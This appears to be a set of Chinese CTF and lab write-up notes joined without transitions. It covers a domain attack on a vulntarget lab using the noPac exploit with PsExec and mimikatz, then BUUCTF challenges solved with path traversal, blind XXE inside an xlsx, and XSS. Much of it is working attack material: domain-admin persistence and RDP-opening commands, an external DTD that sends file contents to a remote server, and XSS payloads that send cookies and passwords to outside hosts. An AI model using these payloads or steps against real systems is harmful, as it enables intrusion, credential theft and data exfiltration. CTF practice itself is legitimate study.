     kiwi_cmd misc::memssp
    

    image-20220415214643951
    拿到账户密码之后尝试用 CVE-2021-42287/CVE-2021-42278 拿域控权限(分析之后补),没打补丁全版本都能打(靶机杀器)
    本地没有 .NET 环境,c# 版本的 exp 用不了,这里用 kali 挂两层代理打
    image-20220415225902049
    工具地址:https://github.com/Ridter/noPac
    msf 定位域控:
     run post/windows/gather/enum_domain
    

    exp 直接打(可能需要多打几次):
    proxychains4 python3 sam_the_admin.py "vulntarget.com/win101:admin#123" -dc-ip 10.0.10.100 -shell 
    

    image-20220416171146959
    做一下维权,创建一个域管账号:
    net user admin admin#123 /add /domain
    net group "Domain Admins" admin /add /domain
    

    修改防火墙策略,打开 3389 端口
    netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
    REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
    

    用 PsExec 链接上:
    PsExec64.exe \\10.0.10.100 -u vulntarget\admin -p admin#123 -s cmd.exe -accepteula
    
  • 参考文献


 

[网鼎杯 2020 青龙组]filejava

上传文件时抓一下包,发现文件包含漏洞,而且泄露了tomcat的绝对路径。
那接下来就应该查看web.xml了

usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml

通过配置文件下载class文件

DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/UploadServlet.class

下载下来的文件用jd-gui-1.6.6.jar反编译一下
DownloadServlet中限制了直接下载flag,但是UploadServlet.java有对excel-***.xlsx文件的判断,那可能就是这个漏洞了。
然后就新建xlsx,用zip打开并修改内容,再上传

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://远程服务器IP/file.dtd">
%remote;%int;%send;
]>

关于三个变量的问题,引用自BTIS师傅

我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 BTIS.dtd ,有点类似于将 BTIS.dtd 包含进来,然后 %int 调用 BTIS.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

而在我们的vps也需要有file.dtd

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://0.0.0.0:7777?popko=%file;'>">

在我们的vps监听就好了。
这里补充一点javaweb的基础知识

(1)Java Resources
    src:用来存放Java源文件。
    Libraries:存放的是Tomcat及JRE中的jar包。

(2)build:自动编译.java文件的目录。

(3)WebContent(WebRoot):是这个Web应用的顶层目录,也称为文档根目录,由一下部分组成。

    META-INF:系统自动生成,存放系统描述信息。

    静态文件:包括所有的HTML网页、CSS文件、图像文件等。一般按功能已文件夹形式分类,例如,图像文件集中存储在images目录中。

    JSP文件:利用JSP可以很方便地在页面中生成动态的内容,使Web应用可以输出动态页面。

    WEB-INF:该目录存在于文档根目录下。但是,该目录不能被引用,也就是说,该目录下存放的文件无法对外发布,当然就无法被用户访问到了。WEB-INF目录由以下几部分组成。

    classes:存放Java字节码文件的目录。

    lib:用于存放该工程用到的库。它包含Web应用所需要的.jar或者.zip文件,例如:mysql-connector-java-8.0.14.jar(MySQL数据库的驱动程序)

    web.xml:应用程序的部署描述符,web工程的配置文件,完成用户请求的逻辑名称到真正的servlet类的映射。Web应用的初始化配置文件,非常重要,不要将其删除或者随意修改。

凡是客户端能访问的资源(html或.jpg)必须跟WEB-INF在同一目录,即放在Web根目录下的资源,从客户端是可以通过URL地址直接访问的。

[CISCN2019 华东北赛区]Web2

题目要求用管理员登录,又有评论页面,还能强制让管理员阅读,这不是xss还能是什么。
直接提交存在过滤,可以用Markup绕过
在xss平台中生成payload,经编码后传入,(脚本来自末初)。

xss='''(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=arHAGx&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();'''
output = ""
for c in xss:
    output += "&#" + str(ord(c))

print("<svg><script>eval("" + output + "")</script>")

又是生成特定md5,

import hashlib

def func(md5_val):
    for x in range(999999, 100000000):
        md5_value=hashlib.md5(str(x)).hexdigest()
        if md5_value[:6]==md5_val:
            return str(x)

if __name__ == '__main__':
    print func('b76301')

进入后发现存在联合注入,没过滤直接打就行了。

[GWCTF 2019]mypassword

发现login.js,会直接把username和password放在表单里直接提交,那xss就完了。
在feedback中发现提交框,注释中标明了black_list,但只是替换为空那就相当于没有了。
这里用这个网站收集信息。

payload:
<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
    var psw = docucookiement.getcookieElementsByName("password")[0].value;
    docucookiement.locacookietion="http://http.requestbin.buuoj.cn/1e8jfct1/?a="+psw;
</scrcookieipt>